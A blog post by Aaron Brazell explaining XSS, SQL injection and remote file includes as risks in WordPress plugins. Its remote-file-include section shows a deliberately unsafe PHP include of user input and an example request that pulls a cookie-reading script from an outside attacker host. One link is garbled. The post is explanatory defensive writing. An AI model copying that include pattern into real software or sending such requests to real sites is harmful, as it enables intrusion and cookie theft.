WordPress Plugin Security: What is Dangerous?

Earlier this week, I began a series on WordPress plugin security. We established that the golden rule of web security is to check the “gateways”. That is, watch the areas of a website that an attacker can use to send data to your website. I’d like to elaborate more on this today.

WordPress support maven, Podz, asks on his blog, “What is Dangerous?”

The answer lies in understanding attack vectors. Attack vectors, such as Cross Site Scripting, SQL Injection and Remote File Includes are some of the methods used to attack a site. If you understand the principles involved, you’ll have a better understanding of what you need to look for in a plugin. So let’s get to it, shall we?

Cross Site Scripting (XSS)

Cross Site Scripting is described by Network World as “the top security threat”. Cross site scripting is a generalized term but usually involves injecting javascript into a page. As the javascript zone allows a browser to do a wide variety of things, including the potential to execute code on the filesystem, allowing an attacker a vactor to get that code onto your computer or website is dangerous. An example of XSS would be the Democracy 1.2 flaw. A common point of entry for XSS is in an HTML form (contact form, tagboard, etc) or in the address bar.

SQL Injection

From a programming standpoint, SQL injection happens when input from the browser (whether from a form or address bar or whatever) is improperly filtered to make it “safe” and then fed directly into a database. Such an attack vector could allow the content of a website (that is based on a database) to be altered or even delted. It could also be used in conjunction with XSS to inject malicious javascript or server side scripting into a page content.

Remote File Includes

A third attack vector that should be avoided is remote file includes. That is, using a PHP <a href="http://us2.php.net/incmµçVFR#æ–æ6Û^ude()</a> function to grab a piece of code hosted elsewhere and executed on the remote server. In other words, an attacker can write a small script that logs IP addresses, cookies, etc and if he can get a site to run an include on the PHP script he is hosting, can provide valuable information to the attacker. Generally RFIs are found when user submitted input (form, address bar) is directly included into an include().

For instance, a link looking like this: http://example.com/?page=about might have some code that supplies apropriate content, <?php include($_GET['page'].".php"); ?> This sort of sloppy coding is more common than you might think. The intention of the developer would be, in this example, to include the contents of about.php into the main page. However, think about what happens if I send this request from my brower:

http://example.com/?page=http://mydomain.com/malicious_cookie_reading_script

Now, his page is actually running this command:

<?php include("http://mydomain.com/malicious_cookie_reading_script.php"); ?>

Very dangerous stuff.

How does this apply to WordPress?

In further articles we’ll look at specific security implications for WordPress plugins. Really, these are web security issues that are not related specifically to WordPress plugins. Any plugin that is used however should have an initial inspection to see if it allows for user interaction. If it allows for user interaction then it may be prone to one of these attack vectors.

Don’t assume, however, that a plugin accepting user interaction is dangerous. Its in the code and the developer may have taken due diligence to appropriately sanitize user input.

• 
• Stumble it!

About the Author: Aaron Brazell is the lead editor of Technosailor.com and a social media expert. His passion is to see companies and individuals use the internet and web technologies wisely and effectively to promote their brands and companies. He served as Director of Technology at b5media from 2005-2008 and is currently an independent consultant.